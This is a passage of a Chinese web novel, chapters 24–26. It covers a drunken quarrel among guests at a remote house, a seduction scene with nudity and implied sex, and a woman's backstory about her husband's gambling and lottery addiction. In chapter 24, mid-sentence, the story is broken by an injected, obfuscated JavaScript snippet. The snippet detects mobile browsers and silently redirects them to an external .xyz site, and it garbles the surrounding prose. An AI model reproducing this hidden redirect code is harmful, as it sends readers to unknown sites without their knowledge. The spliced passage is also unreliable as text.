“我求了她好久,她都不同意。后来我爸问我想干什么,我就说想读研——其实我不想考,但我爸肯定也不同意我去上班,我就撒谎说我想考研。我爸和我妈吵了一架,她才同意我先考研,说今年考不上,就必须马上准备考公。” “她到处我说笨,学习不好,肯定考不上研。我知道我笨,但是我就是想考上,只有不考公要我去干什么都行,我不想听她的话。好不容易报上了夏令营,你们、你们也说我……” “你们嘲笑我,笑我笨。” “没有,没有。”赵淑萍往悦凌凌挪了半步,坐在椅子边缘,拉着她的手,放到自己掌心,轻轻拍着她的手背,软声安哄,“没有嘲笑你,我们是觉得你可爱,像小苹果一样乖。你是一个好孩子……” “我才不是小苹果!”悦凌凌一把甩开赵淑萍的手,面朝她怒吼,“你就是哄我,刚才我看见了,你也笑我,偷偷笑!别以为我没看见,我看见了!” 酒后愤怒的力量出奇的大,赵淑萍是侧着身体只坐了一点点椅子的边缘,在这股大力之下,猝不及防地被掀翻了。整个人往后倒,后背猝然靠到椅背,一下子撞翻了椅子。她连人带椅子地倒在地上,面朝天花板,白色灯在瞳孔深处晃了晃。 悦凌凌站在面前,居高临下,指着她,“我全看见了!我还看见……”她的手指发抖,视线虚虚弱弱地朝钱晓文那里扫,还没扫到钱晓文身上,梁威一把提起她,“回房间去。” “不!” 悦凌凌疯狂挣扎,手脚并用地对梁威又踢又踹。 “我还没说完!” 梁威天生个子比她大,常年逮人,非常熟练地禁锢住她乱挥的双臂,将人拎了出去。 余有为快速跑到赵淑萍身边,想扶起来又不敢,怕她摔到哪个位置,被他一扶,扶出更大的问题。他慌张问钱晓文怎么办。 钱晓文说:“别动她,让她缓缓,看她能不能自己起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012401|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能就铺张步,穿两根衣杆做简易担架将人抬回去。” 余有为频频点头,跪在旁边小声叫赵淑萍。 赵淑萍双目发空,呆呆愣愣地望着虚空,视线好像没有焦距。余有为特别怕她有事,在旁边一遍接一遍地叫她。 这顿饭还没开始吃就结束了。 平月胸口处黏糊糊的难受,拿着保温杯起身走人。 陈宇南紧紧跟在她身边,张情一把揪住他的后背衣服:“跟那么紧做什么,都在一栋房子里,还怕跑了不成?留着啊,这儿要人呢。” 陈宇南为难地看了眼地上的赵淑萍,如果要抬人回去,确实需要他搭把手。平月已经走远了,梁威将悦凌凌丢回了房间,正向她过来。 擦肩而过的瞬间,梁威问她:“没烫伤吧?”骨头汤油腻不易冷,又是刚出锅的,最容易烫伤。 “没事。”平月路过他,不愿意和他多说话。 梁威只好进了余有为房间。平月将将走到陈宇南门口,悦凌凌猛地推开门,推得很用力,带起巨大的风啸。 打眼看见她,悦凌凌抬手拦在她身前。平月往左边走,她跟着往左边挪,平月往右边走,她就往右边挪,平月走中间,她就怼在中间,强势地不让平月过去。 平月平视她,声音发冷:“有事?” 悦凌凌:“对啊,问你个事。” 平月没出声。 悦凌凌还等着对方问她什么事,等了半响,没等来,她就直接问了:“你喜欢陈宇南啊?” 平月说:“怎么?” 悦凌凌:“喜欢就喜欢,不喜欢就不喜欢呗,回答有那么难嘛?你喜欢,我跟你公平竞争,你不喜欢,你就离陈宇南远点,别每天缠着他。” 平月:“知道了。” 悦凌凌:“知道什么了?” 平月绕过她,走向门口,伸手去握门把手。悦凌凌拽住她的手,将人狠狠往走廊里拉,“你还没回答我呢!” “你喜不喜欢陈宇南?” 平月拨开她的手,喝了酒的人有一种蛮劲,拨不动。悦凌凌用更大的力气抓住她,“你回答了我就让你进去。”手掌握在平月的手腕,捏出了青痕。 平月盯着发青的位置,脸色愈发冷了。 就这时,悦凌凌突然示了弱,苦苦哀求:“平月,求求你了。你长得这么好看,谁都喜欢你,我也喜欢你,大家都喜欢你,陈宇南也喜欢你,但陈宇南他没什么好的,你应该和更好的人在一起,外面有大把大把更好更有钱的人会喜欢你,你别和我争陈宇南好不好……我长这么大就认识陈宇南这一个……求求你了……求求你了……” 她说着说着又哭了,眼泪从红红的眼眶流出来。 “求求你了……你让我干什么都可以,求求你了……” 平月说:“不喜欢。” “悦凌凌!”陈宇南从走廊那边跑过来,“你在干嘛?放开她!” 悦凌凌手指一松,快速抹掉脸上的眼泪,转身对陈宇南笑嘻嘻地说:“她说了,她说不喜欢你。” 陈宇南站在走廊里,有点不明白。悦凌凌又说,用很大的声音,恨不得全世界的人都知道:“平月说她不喜欢你,你以后别纠缠人家了,你每天跟着她给她造成了很大的烦恼!” “听见没,陈宇南!” 陈宇南刹那错愕,他停下来,看向平月,希望她解释一句,哪怕简单说两个字“没有”他也相信她。 他是喜欢跟着她,想替她做些事,烧烧水,拿拿东西,但绝对没有到影响她私人空间的程度,这也很招她厌烦吗? 他自以为很有分寸,从不打扰她,给她烧水是算着她要下楼时的时间,给她夹菜是知道她喜欢吃,原来只是他自以为是吗? 前面的那个人打开门走了进去,并没有想回答任何话的意思。她的态度很明显了,就是悦凌凌说的那样。 “平月……” 陈宇南不死心,他想听平月亲口说。 平月转过身来,“怎么?” 她神情平淡,对他的恳求视若无睹。陈宇南眼睛最后那点期望一下子破碎了。 没等来他的下一句话,她冷淡地关上门,门锁响动,从里面反锁了。好像很烦和他说话、很怕他再找她。 悦凌凌笑着拉起陈宇南的手,“看见了吧,她不喜欢你,她刚才跟我说了,她喜欢更有钱的,外面还有很多有钱人,她喜欢超有钱的。” 悦凌凌的声音很聒噪,像麻雀,叽叽喳喳,在陈宇南耳朵边没完没了。 以往,陈宇南会觉得吵,会觉得烦,现在,他像聋了似的,什么都听不见,只听见了一句—— “平月不喜欢你。” “她觉得你烦。” 从小追求者就没间断过的陈宇南第一次追人,失败了,失败到惨烈的地步——他还什么都没做,对方已经烦他了。 这种感觉……像零下三十度躺在雪地里,被冻到麻木空洞浑噩……要死了……的感觉…… 25. 第 25 章 陈宇南宛如提线木偶,被悦凌凌挽着胳膊,往余有为房间带。 张情靠在门口喝酒,远远瞧见他们,撇了一下嘴:“好没意思,三角关系这么快就结束了。”她叹气,“后面还有五十一天,没网没娱乐,怎么玩?” 梁威从她面前过,带起的风撩动了她的披巾和卷发。张情忽然抬手拦下他,“你和我玩玩?” 梁威弹开她的手,径直出去。 张情“唔”了一声:“早知道不来了,被人找上门挨打都比在这里无聊来得好。” 梁威拿了几根衣杆和床单过来,“闲得无聊就进去收拾。” “啧……那我走了。”张情捏着酒杯,晃晃悠悠地往自己房间走。和陈宇南擦肩而过时,右手似有若无地擦过陈宇南的手心。一阵酥痒的感觉传递到陈宇南身上,陈宇南整个人一震,仓促地抬起手紧紧贴在胸口。他回头看她,张情扬起细长的眉,柔媚横生。 鲜红的唇色在莹亮的光影中妩媚至极。 陈宇南心脏炸跳,痴痴看向她许久。 “看什么呢?”悦凌凌挽着他,回头看,恰巧看见张情冲陈宇南挑逗的笑。再回头看陈宇南,陈宇南眼神痴迷。 几乎是一瞬间,悦凌凌炸了。陈宇南好不容易到她手里,走了一个平月又钻出来一个张情。 护犊子似的,她松开陈宇南,立刻向张情冲了上去。 “你干什么!”拦在张情和陈宇南之间,挡住两人的视线。 “回房间呀,还能干什么……”张情似笑非笑,“还能干他不成?” “你……”悦凌凌从来没听过这么混的话,指着张情,“你太不要脸了!” 张情吃吃笑。这种笑在悦凌凌眼里非常刺眼,因为她发现张情虽然年龄老,但她身上有一股自己学不来的女人味,特别诱人。 不知道是出于嫉妒还是什么,悦凌凌上手推了张情一把。张情穿的细高跟,当即没站稳,往后倒。 陈宇南冲过去,依旧迟了,张情倒在地上。好在走廊里铺着羊绒毯,没摔出事。衣服却摔掉了,披巾掉在地上,细细的吊带滑到手臂,领口半张,漏出一半雪白。 陈宇南看愣了。悦凌凌气急,坐到张情身上就是张牙舞爪一顿打,“你个不要脸的老女人!到处勾引人!” “悦凌凌!”陈宇南连拖带拽地拉悦凌凌。 悦凌凌正是酒上头,力气比平时大。陈宇南拖了许久才将人从张情身上拖下来。 只听“滋啦”一声撕裂的响,悦凌凌袖口的金属纽扣勾住了张情的肩带,在她被拽起身的瞬间,那根细细的裙子肩带彻底土崩瓦解,断了。 吊带裙从张情身上滑落,没有穿内衣的胸毫无阻拦地暴露在空气里。它像两颗剥了绿叶的白菜芯子,就那样明晃晃地撞进陈宇南眼中。身上被悦凌凌抓出的红痕是那么鲜艳充满欲望。卷发凌乱,肌肤红润。 “陈宇南!!!”悦凌凌疯了一样遮住陈宇南的眼,使劲推着人往房间里撞。 离开前还踹了张情一脚,吐了一句:“恶心!不知廉耻!” 张情坐起来,抓起裙子捂在胸口。前面拖拖拽拽的两个人,男的脚步顿挫,女的脚步匆匆,一拖一拽着男的走。她盯着悦凌凌的后背,笑了起来。 进了余有为房间,悦凌凌立刻关上门,松开陈宇南,神情紧张又戒备地对陈宇南说:“你离张情远一点!她贱得很。” 梁威看过来,悦凌凌立刻捂着嘴不说了。 房间里空出很大一块空间,沙发被挪到窗边。周志往空地铺上床单,叠成微厚的长方形,在下面固定晾衣杆。他和梁威一人握住一头掂了掂稳定性,放到赵淑萍身旁。 赵淑萍仍旧是呆滞的模样,一动未动。 他们合力将赵淑萍从地上转移到担架上,悦凌凌打开门往走廊窥视,走廊里空无一人,她松了口气,将门彻底拉开,周志和梁威抬着赵淑萍回房间,余有为紧贴在边上生怕这个简易担架不稳,陈宇南跟在后面。 赵淑萍躺在床上,余有为蹲在床边,看着呆滞的赵淑萍,脸色痛苦。他摸出烟,放进嘴里,打火机刚刚擦亮,又放了回去。 周志说:“你别急,这是意外,和你没关系。” 余有为仿若听不见,在屋里不安地来回走。 悦凌凌说:“让钱晓文看看呗。” 余有为听清楚了这句话,到处找钱晓文,屋里屋外都没有。悦凌凌瞟了眼钱晓文紧闭的门,缩了缩脖子,“我头晕,我回去睡觉了。” 没人管她,梁威在观察赵淑萍的情况,周志站在旁边,余有为去拍钱晓文的门了。陈宇南在外面走廊,侧着头不知道在看哪里。悦凌凌走过去时,他收回视线。 悦凌凌问他回房间吗,陈宇南快步回了房间,像身后有鬼似的,逃得飞快。 他逃的不是鬼,是悦凌凌。悦凌凌心知肚明,明明平月不喜欢陈宇南,为什么陈宇南还看不见她? 她到底哪不好? 虽然长得没有平月好看,但她会读书啊,她会洗菜做饭收拾家务啊,她妈说了,男孩子就喜欢她这样的女生。陈宇南为什么不喜欢她?为什么情愿喜欢张情也不愿意喜欢她? 张情那个老女人都三十多岁了,还和她抢陈宇南……贱得要死! 悦凌凌将自己摔在床上,脑袋又疼又胀,晕乎乎地生出了恶意。 隔壁的陈宇南站在房间里,窗外的天黑雾雾的,巨大的雨水在玻璃上流下无数的水痕,染了气,变成雾一样糊在窗上。用手一抹,就能抹出一片水淋淋的透明。 陈宇南在那片透明里看见自己的脸,烫着时尚的头发,有着这个时代女孩们喜欢的脸,家庭也好,自己也有点钱。偏偏只是有点钱,招来了悦凌凌的纠缠。在他没有那点钱前,悦凌凌只是有一点点喜欢他。当张情问他有多少钱后,悦凌凌几乎成了死缠烂打,无孔不入地追着他。 陈宇南忽然想不明白张情问那些话的用意,当时以为是在帮他追求平月,现在看来好像是在给他找麻烦。平月肯定很有钱,对于她而言,他有钱没钱不重要。但如果他更有钱,非常有钱,或许平月就会喜欢他吧? 陈宇南的脑海乱糟糟的,想得脑袋快要炸裂。他捶着头,外面响起了脚步声。 或许是想转移注意力减轻自己的痛苦,他走到门口,像做贼的小偷,在门铃后面看走廊里走过去的人。张情。她换了一条烟紫色的吊带裙,细细的带子挂在消瘦的肩上,两条细长的腿在分叉的裙摆间若隐若现。 她扭着腰肢,身姿婀娜。细细的高跟踩在地毯上的每一步就像踩在他心上,让他干涸难耐。 他想起刚才的场面,她躺在灰褐色的羊绒毯上,衣衫半退,裸露的肌肤尽是红痕,发丝凌乱,丰满的乳\房又白又酥…… 陈宇南被自己的想法吓了一跳,他退回床上。 刚刚坐下不久,那高跟鞋踩在地毯上的声响又近了,那个人从楼下上来了。陈宇南紧紧揪住裤子,迫使自己不去听。可那声音越来越响,就像在他耳边贴着走,走得他心慌意乱,心底有无数只手在挠,痒得他控制不住。 他猛地站起身,从门后看见张情手里捏着两个酒 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张情又踢了两脚,很久没人应,感到烦了,皱起眉。她一间门一间门地找他,好不容易找到了,却没人应,就像陈宇南喜欢平月一天又一天,还没张嘴就被拒绝,那种烦躁和难受是一样的。 她把红酒和酒杯互相换了一只手拿,看起来要走了。 陈宇南赶紧拉开门,装作不知道门外是她,假装问了一句:“什么事?” 张情嗤笑,没拆穿他,两根手指捏着酒杯往他递了递,“喝一杯?” 陈宇南让她进了屋。 张情用鞋跟带上门,高跟鞋的跟在门关拢的时候卡了一下,门留了一条缝。 …… 悦凌凌是晚上醒的, 酒后醒来有点木然,她躺在床上躺了很久才稍微醒了一点神,呼吸时能闻到嘴里有一股腐朽的木臭味,仿佛自己的身体从内而外在腐烂,全身很沉。这种感觉太难受了,她不喜欢。 她坐起来,准备去洗澡。 还没有滑下床,隐隐约约听见细碎的声音,嗯嗯啊啊的,像、像…… 悦凌凌错愕地瞪大了眼,能让她听见的声音,要么从左边平月房间里传出来,要么从右边陈宇南房间里传出来。平月……不可能……陈宇南……不…… 她跳下床,直奔陈宇南门口。 细碎的声音从没关上的门缝里漏出来,她颤着手摸上门把手,将门往里面推了推。 推得越开,声音却清晰,推得越开,看得越清楚。 被门柜挡住的床上,悦凌凌恨透的那张脸出现在床尾,长长的卷发散在地上,她裸露的肩膀和脖子搭在灰色的床单上,鲜艳的红唇张张合合,张情在叫。 张情察觉到了她,转过头来,扬起红唇,对她挑衅地一笑。 紧接着,她双手往前一揽,搂住脖子,将悦凌凌最喜欢的那个人带了过来,那个人,匍匐在她身上,舔舐她的脖颈。 悦凌凌不可置信地往后退了几步。 陈宇南……和张情…… 像做梦一样恐怖,做噩梦一样。 她靠在她的房间和陈宇南房间之间的墙壁,缓缓蹲下去,蜷缩起来。手臂紧紧锢住自己的腿,浑身颤抖。 她想不明白,为什么会变成这样。 陈宇南是她最喜欢的人,张情是她讨厌的人。陈宇南可以喜欢平月,可以不喜欢她,为什么要和她最讨厌的张情在一起? 为什么? 26. 第 26 章 1990年,赵淑萍抱着孩子到处她男人。从早到晚,每个牌馆,挨家挨家地找。 十次有九次能在牌馆里找到男人,还有一次是在进牌馆时碰见男人从里面出来。输了钱,脸色很不好,看见赵淑萍就骂了一句“真她妈的烦”,甩手走人。 赵淑萍抱着孩子跟在他后面。她表哥说孩子是男人的软肋,只要让她男人多看看孩子,总会回心转意,现在只是被人蒙骗着走错了路。 赵淑萍没办法,她丢不开孩子,出去打工,别人一听她带着还没满岁的孩子,都不要她。哪怕她说工钱低一点也不要。她又不想把孩子放回乡下去,虽然男人不好,但孩子是她十月怀胎辛苦生下来的,她舍不得,想自己养。 周围所有牌馆知道了她家情况。牌桌上男人们笑她:“你个娘们不养孩子到处乱跑啥,还怕男人丢了不成?” 赵淑萍说:“找男人回去看孩子。” 男人们呵笑:“男人看孩子?男人看孩子还要你们这些个女的干啥?干吃饭啊?自个生的自个养呗。” 在那个年代,那些话没什么意思,就是女人生孩子女人养孩子,但赵淑萍听着就觉得恶心。 后来她就抱着孩子杵在男人身后,不说话,就那样看着他。再后来,牌馆里的人烦她了,还没进牌馆,那些老板就说她男人不在里面,不让她进。她男人也被她找烦了,每次打牌都躲在牌馆的最里面,有时候还让老板把卷帘门放下来。赵淑萍是有一次路过,卷帘门正好提起来,她男人从里面钻出来。 四目相对,男人厌恶地皱了皱眉,掉头往另一边走,饶了一个大圈回门市。 房东站在门市外面,等他们回来。门市的租金一年一交,到该交租金的日子了。男人拿不出钱,让赵淑萍想办法。赵淑萍也没钱。房东让他们两天内搬走。 搬走,就没住的地方了。 男人慌了,让赵淑萍去借钱。上回给孩子看病的钱还没有还,没人愿意借给她。门市里的工具被男人卖完了,表哥拿不出一分钱。赵淑萍想不出办法,急得心里窝火,脸上起燥皮。 人的运气是说不准的,就在赵淑萍和她男人要被房东撵出门的头一天晚上,有个人——曾经在他们这儿装过窗户的老客户找上门,说新买了一套房子,想请他们帮忙安装窗户。 因为他们家的窗户做得好——这一点赵淑萍是非常肯定的,尽管她男人不靠谱,但在干活这方面,只要给他干,他干的时候一定是老老实实的。 而且她想做长久生意,不管给人安装门窗还是维修家具,赵淑萍都是拿最好的货。 那个年代的好货是真正意义上的好货,一个窗户轮子能用上几十年不锈不烂不卡。 当晚,赵淑萍问男人还想不想继续做生意。男人当然想,自己做生意比外出打工好太多了,生意大的时候,干一个星期能吃一个月。这也是他为什么有时间有钱去打牌。 赵淑萍说想做就好好做,不做我们就出去打工,如果以后还看见打牌,她就抱着孩子自己去外面打工,这个门市不管了。男人当场就给赵淑萍跪下了,他知道如果赵淑萍带着孩子出去打工,他自己一个人是没有办法支撑这个门市。 而且……他在牌馆欠了很多钱。赵淑萍不知道。 他一把眼泪一把鼻涕的忏悔。赵淑萍心软了,毕竟是自己的男人,是孩子的爸,她嘴上说带孩子去外面打工,心里也不愿意孩子从小见不着爸。 赵淑萍把孩子交给男人,自己厚着脸皮去问同行借了工具,又去常进货的店里借了货,说结了账就来交钱。她在店里进过很多次货,男人做的每一单生意都是她来进的货,她嘴巴会说,会看人脸色,和老板关系好,老板破例让她赊了一次账。 当天晚上,男人熬通宵做好了窗户,第二天去给人装上,拿到了一笔钱。钱有了,但很少,不够一年租金。赵淑萍分出一半钱,求了房东许久,才让房东同意她先交一个月租金。另外的钱,赵淑萍给男人买了工具。 她背着孩子,带着男人,大街小巷地吆喝维修门窗、安装防盗网。大大小小的生意揽了一些,连帮人抓老鼠、通下水道的活都干了。 一个星期下来,把赊的材料钱补过去了。拼死拼活连干两个月,门市租金续上了,给儿子看病借来的钱也还清了。 周围邻里都笑她男人改邪归了正,赵淑萍也这样觉得,她只要把男人看紧,就没那些破事。 然而世事难料。男人去过的那些牌馆老板见他们宽裕了,一个接一个来要钱,说她男人在牌馆里欠了钱,有欠条。 一张接一张按了手印的欠条递进赵淑萍的眼里,那鲜红的手印像一抹血,染红了赵淑萍的眼。 赵淑萍拎起晾衣杆打了男人,男人一声不吭,抱着头蹲在地上,不和她吵,不和她闹,任由她打。赵淑萍打累了,看着这样的男人,心里窝了一团火,上不去下不来,气得晕倒了。 男人连忙将她送去诊所。赵淑萍醒来时,就看见男人趴在床边,浑身伤痕累累,闭着的眉眼疲倦。头顶的灯光是冷的,赵淑萍却感受到前所未有的暖意,她终于知道为什么会嫁给这个男人,不是看他老实,是赵淑萍就喜欢他现在这样的宁静,她觉得跟着他会很安宁。虽然生活过得坎坷不断。 这一次,赵淑萍悄悄的从心底最深处原谅了他。他们用仅有的钱买了一辆三轮车,把工具放进车里,每天踩着三轮车去接生意,这样比走路节省时间,也省力。 一天下来,接的活比以前多两三单。有时候男人忙着干活,赵淑萍会自己踩三轮车去拉活。活拉了很多,她男人每天从早干到晚。干了大半年,把牌馆里的欠账还清了。 现在的赵淑萍没了债务,又开始存钱。这回,她去办了本存折,每个月定笔定笔地往里存,存多少取多少剩多少,存折上会写得清清楚楚,她每天翻出来看一看,不怕男人再偷偷去取。 好在她男人确实变乖了,没再去牌馆,没再取过她的钱。但是他学会了抽烟,烟瘾很大,一天一包。这事不打紧,赵淑萍能接受。男人嘛,抽烟喝酒是常事,而且他抽的烟不贵。 儿子上小学,赵淑萍生了二胎。她的爸妈从乡下来看她。赵淑萍看着围在身前的父母、孩子,回顾男人这些年的安分守己,心里很踏实,也萌生出想自己做生意的想法。 二儿子养到两岁后,送去幼儿园,赵淑萍就蹬着三轮车,每天早晨去水果市场拿货,再回家送孩子去学校,然后踩着三轮车大街小巷卖水果。她这个人什么都不怕,就是怕别人说她的货不好,所以她进的水果都比别人进得好,卖一个价钱。很多人喜欢买她的水果,每天的进货几乎能卖光。 她挣了不少钱。 二儿子读小学时,她把攒下的钱拿去人流很广的地段租了一个门市,专门卖水果。她卖的是水果,但经常有人问她有没有烟,她就搞了个烟草证卖烟,卖水。 她和男人一人守一个门市,但她每天会跑两趟去男人门市看看男人,怕他又走歪路。有时早晚各一趟,有时突然去一趟。她男人乖,每次她去的时候都在门市上。 男人嘴笨张不了口,门市上的生意都是些老顾客,偶尔几个新客。生意凄惨,赵淑萍的水果店很赚钱,所以没强求男人一定要出去拉生意,她觉得只要她男人乖乖的不惹事,就好。 她受够了没钱还被追债、厚着脸皮到处求人的日子。 事实证明,赵淑萍这个名字,最开始是寓意她平平安安,实际上,她就是一个波折不断的人,从小,从小就波折不断。 他男人的生意最开始还勉强够糊口,后面总问赵淑萍借钱。说没钱进货,赵淑萍奇怪,做生意有进有出,他装了好几次门窗了,不可能没钱进货。赵淑萍问多了,才知道他男人张不开口要钱,导致有些人顺势而为没结钱给他。 赵淑萍气得带男人挨家挨户要钱去了。最后钱只收回来一半。有些客户早跑了,不在这个城市了。 赵淑萍把男人骂了一顿。男人一声不吭。后来,每次结账,赵淑萍都跟着男人去,收的钱留一点给男人用,剩余的存进存折里。 那是大儿子上小学六年级的春天,邻居说前面有个门市转卖,问赵淑萍有没有想法。 赵淑萍最开始是没想法的,晚饭和男人提了一嘴,男人说买吧,咱们有自己的房子以后就不用看人脸色了,也更稳定。 赵淑萍觉得他说得有道理,第二天就和男人去看了门市。门市是挨着的两间,挺大的,后面有可以做厨房和卧室的空间。赵淑萍看的第一眼就想好了,后面做起居室,前面给男人做生意。门市和她的水果店在一条街,把男人放在眼皮子下面最稳妥。 门市只要十二万。因为房东打算移居国外,急出售,在人流量大的街道,十二万已经很便宜了。可十二万对于赵淑萍来说,仍旧很贵,哪怕她的水果生意很好。 她拿出存折,上面只有七万。两个儿子越来越大,花费也多了,钱没那么好存了。 她又开始找人借钱,这一次是要借五万,没人愿意借给她。她就拆分了借,表哥家借一万,爸妈那里借两万,邻居那里再借个几千。她儿子看病时,那个慈祥的老奶奶,她也跑去借了一万。七七八八凑了十二万,将门市买了下来。 男人做生意的那间门市正好到了租期,赵淑萍退了租,将买来的门市简单装了装,让男人把工具和钢材全部搬进去。 两个门市很近,在一条街,相隔不过五百米。 赵淑萍能一眼看见男人在门市里干什么,这让她愈发满意自己的决定。 离得近了,赵淑萍时不时给男人拉点生意,借的钱慢慢还上,两人的日子越过越好。 大儿子读高中,赵淑萍借的钱还清了,那个慈祥的老奶奶也要搬新家了,说儿子给她买了新房子,在儿子隔壁,让搬过去一起住。 老奶奶问赵淑萍要不要买她的房子,老奶奶的房子是自己买的,搬家前想把这个房子卖了。那是老房子。2006年,四面八方都在修高楼大厦。一栋接一栋的大楼冲天而起,豪华又漂亮。 赵淑萍毫不落俗地喜欢那种高房子,于是拒绝了老奶奶——这是她后面几十年都非常后悔的事情。 水果店对面的老房子占了,移成新地,修高楼小区。赵淑萍每天坐在水果店里,看挖掘机动工,看房子一层一层地变高,心里说不出地羡慕。 她去问了对面的工作人员,房子卖两千一平。 刚还完债没多久的赵淑萍被这个数字吓到了,比她买的门市还贵。她坐回水果店,开始算自己存多久才能买上这样的房子。 从那以后,她拼命地做生意,男人没活时,她就让男人过来守水果店,自己踩着那个老三轮车每条街地卖水果。还在水果店门口摆了一个早餐摊,卖粽子。她包的粽子大,红糖淋得多,那些工地上的人都爱上她这儿来吃粽子,顺道买包烟买个打火机,有时候还买两瓶水。钱像水一样往赵淑萍的包里流,赵淑萍从来没想到赚钱会这么容易。 她越努力干,存折上的钱越多,离她的梦想越近。 每个月看存折上的数字在增加,她已经想好买几层楼了。四楼不好,十一楼不好,十四楼也不好。太矮了不好,太高了不好。她想买第八层,寓意发发发。八层坐北朝南的最好。 她和售楼部的人聊好了给她留一下八层。 她心心念念想着买了房子,门市有了,两个儿子逐渐长大,她的日子只会越来越好,哪怕差也差不到哪里去。赵淑萍是这样以为的。 世事终究不如她愿。那一年,赵淑萍的大儿子上高三,小儿子初三。赵淑萍看着脏乱差的门市,突然想打扫一下——她男人是不做卫生的,这间门市上回打扫还是几年前。如今越来越脏。看着都没欲望,赵淑萍想扫干净点,更好的做生意,攒更多的钱,也想让儿子有个舒服整洁的环境。 就是那一天,赵淑萍从夹缝里扫出沉甸甸的一桶彩票,它有多沉呢,赵淑萍从小干活到大,男人抬的窗户、拉的防盗窗,她也能轻轻松松抬动拉动。 偏偏这一桶彩票,沉得赵淑萍搬不起。 它像一块巨大的石头,压在赵淑萍的肩膀上,压得她喘不过气,压得她抬不起头,压得她呼吸不过来,脑袋都快碎掉、脖子要断掉了。 赵淑萍知道彩票,到她那里吃粽子的男人们都会讲,一张彩票可以打2块钱到几千万元不等,打中了能中奖,能中五百万。新闻播报平城有人中过五百万。 她也好奇过,去彩票店看——没人不对五百万不动心——当她看完之后,她就知道这个不是自己能碰的。那么一张小小的不如巴掌大的纸片上印几个数字就可以得到五百万,得有多么好的运气?赵淑萍不认为自己有这种运气,而且一张轻飘飘的纸价值2块钱往上,她亲眼见有人打了十几万的彩票,就那么薄薄几张纸,被那人小心翼翼地放进钱包的夹层里。 千想万想,没想到自己男人会碰这种东西。 她几乎每天和男人在一起,他是什么时候去买的彩票?是趁她出去卖水果的时候?还是他外出干活的时候? 赵淑萍不知道,她只知道这一桶彩票,每一张标注的票价哪怕是2块钱,她也数不清这一桶到底有多少钱。 他哪里来的这么多钱? 赵淑萍第一时间去找存折。存折被她锁在柜子里,她拿出来,上面是她记得牢牢的数字。没有少一分。从办存折到现在,她取钱的次数屈指可数,只有刚交完水果店的租金又恰逢儿子要交学费,手里的钱转不过来时才会去取。 赵淑萍翻着翻着突然发觉不对劲——存折因为年限太久,已经松开了,一页一页散开。赵淑萍每天都在忙,平时用不上存折,就没去换新的。 现在一页一页地翻着, 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现在是九月,最热的月份。赵淑萍看着外面的太阳,恍惚看见了十几年前的自己,还没有出月子,在八月的高温里裹得密不透风来银行取钱,也是银行里的人告诉她没钱了。 行尸走肉般,赵淑萍回到了门市。水果店有人在买水果,但她男人不在。邻居在帮她卖,看见她忙叫她过去称秤。赵淑萍没听见,回到门市,坐在装彩票的桶边。 晚上水果店关了门,男人回来了,站在门口,看了一眼她,看了一眼彩票桶,没敢进。 隔着打开的卷帘门,男人站在黑夜里,赵淑萍坐在门市的灯光里,忽然有点看不清她男人的脸。 她和他结婚几十年,生了两个儿子,每天睡在一起,她竟然从来不知道他长什么样。是厚嘴唇还是薄嘴唇,是大眼睛还是小眼睛,是塌鼻子还是高鼻子,脸上有没有痣,她完全想不起来了。 他那张脸,在赵淑萍的脑海里模糊了。 小儿子回来了,大儿子也回来了。 男人头一次主动地说要去做饭,第一次一个人做好了一整顿晚饭。赵淑萍什么话都没说。 第二天,两个儿子去上学了。赵淑萍说水果店不开了,你的店也不开了。男人问不赚钱了么?赵淑萍笑到发疯,一脚踢翻了彩票桶,成千上万、成万上亿张的彩票像漫天雪花飞了一地。 “我他妈赚钱就是给你买彩票的?” 男人又跪下了,忏悔、哭泣、求她原谅,说他忍不住,说他买彩票是为了中五百万,是想让她过上好的日子,想让她轻松,不要每天出去奔波,想让儿子有钱。 一口一个为她好,为儿子好,想让她过上好日子,想让儿子过上好日子。绝口不提他偷偷摸摸拿了多少钱,她的那张存折去了哪里,他是怎么瞒过她。 赵淑萍笑得眼泪横流,笑得直不起腰,和男人一起跪在地上,又哭又笑。 男人真怕她疯了,不说话了,就安安静静跪在旁边,看着她。 赵淑萍笑够了,让他去卖水果。男人听话地去了。赵淑萍把门市里的东西全部收拾一通,男人的工具整齐地放进柜子里,彩票全烧了,地扫了,玻璃擦了。 床单洗了,枕头拆了,棉被抱出去晒。她把家里从里到外全部打扫干净,厕所刷了,缺口的碗丢了,发霉的筷子丢了,破鞋扔了。 在扔掉那个被她踢烂的桶时,赵淑萍忽然想,要是她男人死了多好,死了就没这些破事了。 想是这样想,却不敢真杀人。她是一个良好有道德的公民。 水果店的租期到了,赵淑萍关了水果铺。对面的高楼修起来了,工人们走了,早餐摊也不用摆了。只剩一个烟草铺立在路边。她想把烟草铺一并关了,男人不让。自打她开始卖烟,男人抽烟全是她那里拿。赵淑萍知道他心思,烟草铺关了,他以后只能自己拿钱出去买烟了。 现在,连赵淑萍都没钱了,更别提他。 赵淑萍问他中过多少钱。男人畏畏缩缩,说不出个数字,就、就几百吧…… 赵淑萍又笑了。 烟草铺留了下来。赵淑萍每天守着烟草铺,卖几包烟,男人出去拉生意,拉不到。好在是自己买下的门市,不用交租金,没生意也不急。赵淑萍每个月卖的烟水只够家里买菜,给儿子一点生活费,再交点水电费。有时候水电用多了,还交不上。 交不上的时候,赵淑萍也无动于衷,水电局打电话给男人,停水停电了,男人开始急了,求赵淑萍帮他拉生意。赵淑萍说烟铺没人守。男人忍了又忍,最后说关了吧。烟铺关了。 赵淑萍又开始了每天和男人外出拉生意。她不像以前那样拼命,挨家挨户地去,有生意就干,没生意就继续走。 老顾客介绍了一笔生意,是对面的新小区安装门窗,赵淑萍最喜欢最想买的那个小区,在十八楼。门窗放进电梯送上去,男人站在十八楼的窗前装窗户。 新房子的窗口开得大,稍不注意可能掉下去。所以男人装窗户的时候需要另一个人帮他扶着窗户,免得窗户掉下去砸到人。 赵淑萍帮他扶。这是她第一次站在这么高的地方,站在她最爱的小区里,她往楼下看。十八楼很高,地上行走的人变成小小的一个黑点,像一只小蚂蚁似的。 